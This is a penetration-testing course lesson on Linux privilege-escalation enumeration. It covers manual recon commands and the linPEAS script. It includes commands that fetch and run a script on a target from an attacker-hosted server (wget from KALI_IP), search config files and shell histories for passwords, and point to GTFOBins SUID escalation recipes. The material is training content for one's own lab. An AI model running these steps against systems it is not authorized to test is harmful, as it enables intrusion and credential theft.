Step 126. Enumeration Automation — linPEAS

Step 126. Enumeration Automation — linPEAS

Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★☆☆ | Estimated time: 3 hours

Prerequisites: you’ve typed the six manual recon commands from Step 125 yourself. You know the flow of file transfer (Kali→target).

  • What you need: a Linux environment (WSL works). You measure the manual enumeration commands yourself; linPEAS’s own screens are presented as screen examples (this environment has no linPEAS).
  • ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

In Step 125 you learned six recon commands. But what you need to check right after a real penetration isn’t six things — it’s hundreds: SUID, sudo, cron, writable files, stored passwords, kernel version, network, processes…. Type them all by hand and you’ll run out of time and, above all, miss things. That’s why automatic enumeration tools exist, and among them Linux’s standard-bearer: linPEAS. Today you learn the workflow exactly as practiced in the field: "verify manually yourself → delegate to the automated tool → don’t blindly trust the tool’s word."


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Run a bundle of manual enumeration commands and know what information comes out
  • Move linPEAS to a target, run it, and save the results to a file
  • Read linPEAS output’s color signals (red/yellow) and select candidates
  • Have the habit of manually verifying an automated tool’s candidates
  • Understand that "things the tool didn’t find" exist

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Linux shell (WSL measurements + MS2/Kali screen examples)
Today’s tools linPEAS (linpeas.sh) — screen examples; manual command bundle — measured
Today’s commands uname -a, id, env, crontab -l, ss -tlnp, who·w, tee
Concepts needed Automatic enumeration, color priorities, candidate vs. confirmed, no blind trust
Today’s artifact A manual enumeration results note + a linPEAS candidate verification record

2-1. What Is linPEAS?

linPEAS (the Linux edition of the PEASS-ng project) is a single-shell-script automatic enumeration tool. With nothing to install, move the one linpeas.sh file to the target and run it, and it runs hundreds of checks at once, including the recon commands you learned in Step 125. Kernel version, SUID list, sudo rules, cron, writable config files, password candidates embedded in files, network connections, running processes.

The output’s hallmark is color. High-risk findings (e.g., "this SUID is on GTFOBins," "anyone can write to this cron script") are highlighted in red and yellow. According to the authors’ guidance, red/yellow highlighting means "a high-probability privilege-escalation candidate" — a traffic light telling you where to start reading inside the long output.

2-2. The Value and Trap of Automation

An automated tool’s value is threefold — speed (hundreds of items in minutes), thoroughness (unlike a tired human, it doesn’t skip checklist items), and baseline knowledge (background knowledge like the GTFOBins list is built in).

The trap is equally clear — a candidate is only a candidate. linPEAS painting something red is no guarantee it’s an actual escalation path. Many candidates are useless when the environment combination differs, and conversely, real paths sometimes hide among the things the tool didn’t paint. That’s why the field’s sentence is this — "The tool collects; the human confirms."

2-3. tee — Seeing It on Screen and Keeping It in a File

Today’s companion helper command is tee.

./linpeas.sh | tee lin.txt

It takes output passed through a pipe (|) and displays it on screen while simultaneously saving it to a file. linPEAS’s output runs to thousands of lines, too long to read by scrolling back — the standard play is keeping it as a file and searching it later with grep on Kali. Every output in a penetration test is evidence (it becomes report material in Step 128), so the saving habit starts sticking to your body now.

2-4. How to Upload a File to the Target — The Temporary Web Server Technique

When all you have is a target shell, how do you move a file from your Kali? The standard technique:

# Kali (the giving side)
python3 -m http.server 8000

# Target shell (the receiving side)
wget http://KALI_IP:8000/linpeas.sh

Launch Python’s built-in web server to make a "file distribution point," and fetch from the target with wget (or curl). Step 98’s nc and Step 79’s sockets grown into a real-world technique. This composition — "I open a server and let the other side fetch" — repeats throughout the attack chain.


3. Follow Along

First, experience manual enumeration yourself — because you must know in your body exactly what the automated tool does for you before you can read the tool’s output. All commands are read-only.

3-1. The System and Me — Basic Identity Check

uname -a
id

Output (measured 2026-09-09 on WSL):

Linux XI3492 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC ... x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)

How to read it: the kernel version and current privilege, as you learned in Step 125. linPEAS runs these two commands first too — all enumeration starts from the answer to "on what system, as whom am I here?"

3-2. Peeking at Environment Variables — env

env

Partial output (measured 2026-09-09 on WSL):

SHELL=/bin/bash
WSL_DISTRO_NAME=Codex-Security-Lab
PWD=/mnt/c/Users/.../21-57-12-c850bf8c
LOGNAME=root
HOME=/root
LANG=C.UTF-8

How to read it: environment variables are a bulletin board programs share. Look at how PATH is set and whether any strange variable has a path or key embedded in it. At real penetration sites, accidents where a developer left an API key or password in an environment variable are caught not infrequently — which is why env is among linPEAS’s check items.

3-3. Checking Personal cron — crontab -l

crontab -l

Output (measured 2026-09-09 on WSL):

no crontab for root

How to read it: a "none" message is also information — this account’s personal cron is empty. In Step 125 you looked at the system-wide cron (/etc/crontab); this time it’s the per-account cron. The two are separate. Remember that enumeration is not only finding "what’s there" but also confirming "what isn’t there."

3-4. Open Ears and Conversation Partners — ss and who

ss -tlnp

Output (measured 2026-09-09 on WSL):

State   Recv-Q  Send-Q   Local Address:Port    Peer Address:Port  Process
LISTEN  0       4096     127.0.0.53%lo:53      0.0.0.0:*          users:(("systemd-resolve",pid=169,fd=15))
LISTEN  0       1000     10.255.255.254:53     0.0.0.0:*
LISTEN  0       5        0.0.0.0:8000           0.0.0.0:*          users:(("python3",pid=716,fd=3))

How to read it: the list of "ears" (LISTEN ports) this machine has left open. The python3 on port 8000 is a test server left running for Step 128 preparation. At a penetration site, the key harvest here is discovering internal-only services that weren’t open to the outside (like a DB admin port bound only to 127.0.0.1) — doors invisible from outside but visible from inside. Note that older systems use netstat -antp instead of ss (this environment has no netstat, so it shows command not found — measured 2026-09-09. A tool’s absence is itself an enumeration result).

who
w

Output (measured 2026-09-09 on WSL):

root     pts/1        2026-09-09 15:07

How to read it: who is logged in right now. On a server where other users are active, you need the sense to check "is the administrator watching right now" — in professional penetration tests it’s also situational awareness so you don’t disturb the customer’s work.

3-5. Command History and Hidden Secrets — history and grep

cat /root/.bash_history
cat /home/*/.bash_history

Output (measured 2026-09-09 on WSL):

cat: /root/.bash_history: No such file or directory
cat: '/home/*/.bash_history': No such file or directory

How to read it: neither exists. .bash_history, the record of commands a user typed in the shell, is saved when the shell exits — if it has never exited, or the user habitually clears it, it’s empty. At a penetration site, a full one is a jackpot — because commands the previous user typed leave passwords, server addresses, and admin procedures right there. "It’s empty" is also information: "a user who manages their traces."

grep -r "password" /etc 2>/dev/null | head -5

Output (measured 2026-09-09 on WSL):

/etc/default/useradd:# The number of days after a password expires until the account 
/etc/ssl/openssl.cnf:# input_password = secret
/etc/ssl/openssl.cnf:# output_password = secret
/etc/pam.d/su:# This allows root to su without passwords (normal operation)

How to read it: a search rummaging config files for the word "password." This measurement yielded only comments and examples — no harvest — but what this command aims for is passwords embedded as real values in config files. linPEAS runs this search automatically over a much wider range — not just /etc but /var/www and home directories — with far more keywords (passwd, pwd, secret, api_key…).

3-6. Overall Review of Manual Enumeration — Why Is This Hard?

You’ve now typed seven kinds of commands. Write down what you feel — it’ll probably be something like this: "Typing them is doable, but I have no confidence I didn’t miss anything." Exactly. And this list is a tiny fraction of the actual check items. That anxiety is the problem automation tools solve.

3-7. Running linPEAS — Screen Example

Here’s the flow in the MS2 lab (this environment has no linPEAS, so it’s a screen example):

# Kali: open the distribution point
python3 -m http.server 8000

# MS2 shell: fetch, run + save
wget http://KALI_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee lin.txt
═══════════════════════════════╣ System Information ╠═══════════════════════════════
Linux version 2.6.24-16-server ...
...
═══════════════════════════════╣ Interesting Files ╠════════════════════════════════
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
-rwsr-xr-x 1 root root 732k ... /usr/bin/nmap     ← red highlight (listed on GTFOBins)
...
[+] Readable files belonging to root and readable by me
/etc/crontab

How to read it: ① items are classified by section headers (╣ System Information ║, etc.). ② a reference link ([i]) is attached above each item so you can study "why is this dangerous" right away. ③ red/yellow highlights are the high-probability candidates — like the nmap SUID in the example. On an old target like MS2, some of the latest linPEAS checks may error out, but it doesn’t hinder progress.

3-8. Verifying Candidates — A Human Checks the Tool’s Word

The final step is today’s peak. You re-check the candidates linPEAS painted with Step 125’s manual commands.

# Candidate: nmap is SUID? → verify directly (screen example)
ls -l /usr/bin/nmap
# -rwsr-xr-x 1 root root ... /usr/bin/nmap

# Look up GTFOBins → check the recipe → verify in the lab only

Why: the tool goes as far as "looks strange"; "does it actually work" is your share. Think the reverse direction too — was there something linPEAS didn’t highlight that looked strange to your eyes? That’s your first experience of "what the tool didn’t find."


4. Missions & Exercises

Mission — Contrasting Manual and Automatic Enumeration

  1. Run the seven manual commands from 3-1~3-5 on your Linux and save the outputs to files
  2. For each command, write one line of "the information this gives at a penetration site"
  3. (If you have a lab) Move linPEAS onto MS2 and run it, then select 3 red/yellow candidates
  4. Re-check each selected candidate with manual commands and render a "valid/invalid" verdict
  5. Pick one thing linPEAS found that the manual commands wouldn’t have, and record it as "the value of automation"

Exercises

Exercise 1. Why use ./linpeas.sh | tee lin.txt instead of ./linpeas.sh > lin.txt?

Exercise 2. Explain why linPEAS’s red highlighting is called a "candidate" rather than a "confirmed escalation path."

Exercise 3. When .bash_history is empty, what information can you gain?

Exercise 4. Explain why a LISTEN port bound to 127.0.0.1 in ss -tlnp is valuable to an intruder.


5. Model Answers & Completion Criteria

Mission Model Answer

An example of organized manual enumeration (based on section 3 measurements):

Command Measured result Meaning at a penetration site
uname -a Kernel 6.18 (latest) Judge kernel-exploit candidates
id root Confirm current privilege
env WSL-related variables Check for embedded keys or strange paths
crontab -l no crontab for root Personal cron presence — "none" is also information
ss -tlnp LISTEN on 53, 8000 Discover internal-only services
who·w 1 root user Grasp administrator activity
.bash_history No such file A clue to trace-management habits
grep -r password /etc Only comments & examples Search for embedded passwords

How to verify: ① do the seven commands’ outputs survive as files? ② did you record "none/missing" results in the table too — not discarding empty results is the enumeration attitude. ③ if you selected linPEAS candidates, is each one accompanied by a manual check (ls -l, etc.)? ④ is the "value of automation" item concrete — like "this item wasn’t on my checklist," not "it’s fast"?

Exercise Answers

Answer 1. With > redirection the output goes only to the file and nothing shows on screen — you can’t watch a long scan’s progress. tee flows to both screen and file, so you watch with your eyes while it runs and search the file after it ends. Every output in a penetration test is report evidence, so saving is the default.

Answer 2. A tool marks by static rules ("this command is SUID," "it’s listed on GTFOBins"), but whether that path works in the actual environment depends on combination conditions. Cases where execution conditions don’t match or another defense blocks it are common. So you go through the stages candidate → manual verification → confirmed, and this flow is the principle "the tool collects; the human confirms."

Answer 3. Two interpretations are possible — ① a user with trace-management habits who consciously clears the history saved at shell exit. ② that shell has never exited normally. Not "there’s no evidence" but "the absence of evidence is itself a clue" — the subtle delight of enumeration.

Answer 4. A service bound to 127.0.0.1 never shows up on external scans (nmap, etc.) — from outside, it’s a closed door. But to an intruder who’s gotten inside, it’s open. DB admin ports and internal admin tools land here, and because of the false comfort of "internal use only," their authentication is often sloppy. An attack surface visible only from the inside — that’s why post-shell enumeration can’t be replaced by external scanning.

Completion Criteria Checklist

  • [ ] I ran the seven manual enumeration commands myself and saved them
  • [ ] I understand the habit of recording "none" results as information too
  • [ ] I can record to screen and file simultaneously with tee
  • [ ] I know the flow of moving a file to a target with a temporary web server + wget
  • [ ] I know the purpose of linPEAS output’s color signals and [i] links
  • [ ] I can explain the difference between candidate and confirmed, and the need for manual verification
  • [ ] Mission: I completed the manual↔automatic comparison table and the candidate verification record

6. Common Pitfalls & Fixes

Wall 1. linPEAS output is too long to read

Symptom: thousands of lines pour out and you can’t tell where anything is.

Cause: that’s normal — linPEAS output isn’t read cover to cover; it’s searched.

Fix: bring the file you saved with tee to Kali and rummage with grep. Red highlights are saved as color codes, so the efficient way is jumping to section headers like "Interesting Files" or "SUID" first, then reading the surroundings. And the goal of a first reading isn’t "understand everything" — it’s "select 3 candidates."

Wall 2. wget can’t connect

Symptom (screen example): failed: Connection refused. or a timeout.

Cause: Kali’s web server isn’t up, you wrote the IP wrong, or a firewall is blocking.

Fix: check in order — ① is python3 -m http.server 8000 alive on Kali ② is KALI_IP Kali’s actual IP (check with ip a) ③ are both attached to the same network (Host-only, etc.)? Nine times out of ten, a file-transfer failure’s cause is "the distribution point isn’t open."

Wall 3. Parts of linPEAS error out on MS2

Symptom (screen example): command errors mixed in here and there through the script.

Cause: MS2 is an old system from around 2008, so some commands and options the latest linPEAS uses don’t exist.

Fix: ignore them and proceed. Only the errored checks are skipped; the remaining hundreds run fine. Rather, seeing "which commands this old system lacks" is also part of enumeration — a missing tool means you must implement that feature yourself or work around it.

Wall 4. I followed a red candidate but it doesn’t actually work

Symptom: you applied the GTFOBins recipe but privilege escalation fails.

Cause: a candidate is a candidate — if the environment combination doesn’t match, it’s invalid. Not the tool’s fault; just one round of the normal probability game.

Fix: an "invalid" verdict is also a result — write one line about why it failed and move to the next candidate. Verify 3 and get 1 valid, and that’s a successful enumeration. And as the "why it failed" records pile up, they become material for the "paths attempted but invalid" section of the Step 128 report.

Wall 5. After running automated tools, I forget the manual commands

Symptom: a feeling that you can’t do anything without linPEAS.

Cause: the beginning of tool dependence — a danger signal. In exams, restricted environments, and real work where tools can’t be brought in, only manual commands remain.

Fix: train deliberately — sweep manually first, then use the automated tool to confirm "what I missed." Keep that order and the tool becomes not a replacement but an auditor. Step 125’s recon table is your built-in checklist.


7. Summary

Today’s Concepts

Concept One-line explanation
Automatic enumeration A script running hundreds of checks at once — linPEAS
Color signals Red/yellow = high-probability escalation candidates. Candidates only, not confirmed
Candidate vs. confirmed The tool collects; the human confirms with manual commands
Temporary distribution point python3 -m http.server + wget — the standard technique for moving files to a target
The informativeness of empty results no crontab and missing history are also clues about the user’s habits
Internal-only ports LISTEN bound to 127.0.0.1 — an attack surface visible only from inside

Today’s Commands

Command What it does
env Peek at environment variables — search for embedded keys
crontab -l Check per-account cron
ss -tlnp Open ports and their owner processes (netstat -antp on older systems)
who / w Logged-in users
cat ~/**/.bash_history Attempt to collect command history
grep -r "password" /etc 2>/dev/null Search for passwords in config files
./linpeas.sh | tee lin.txt Automatic enumeration + simultaneous saving (screen example)

An Instinct More Important Than Commands

Automation is not "resting your hands" — it’s "eliminating omissions." A tireless tool runs the hundreds-item checklist for you, and you spend the saved time judging "is this candidate real?" Judgment is always the human’s share — the moment you blindly trust a color-painted line you become the tool’s slave; the moment you verify, you become its master. And place the tool’s candidate list and your manual recon table side by side and compare "which side missed what." As that comparison table accumulates, your own checklist grows solid.


Once every box is checked, Step 126 is complete. Click the checkbox in the sidebar to save your progress.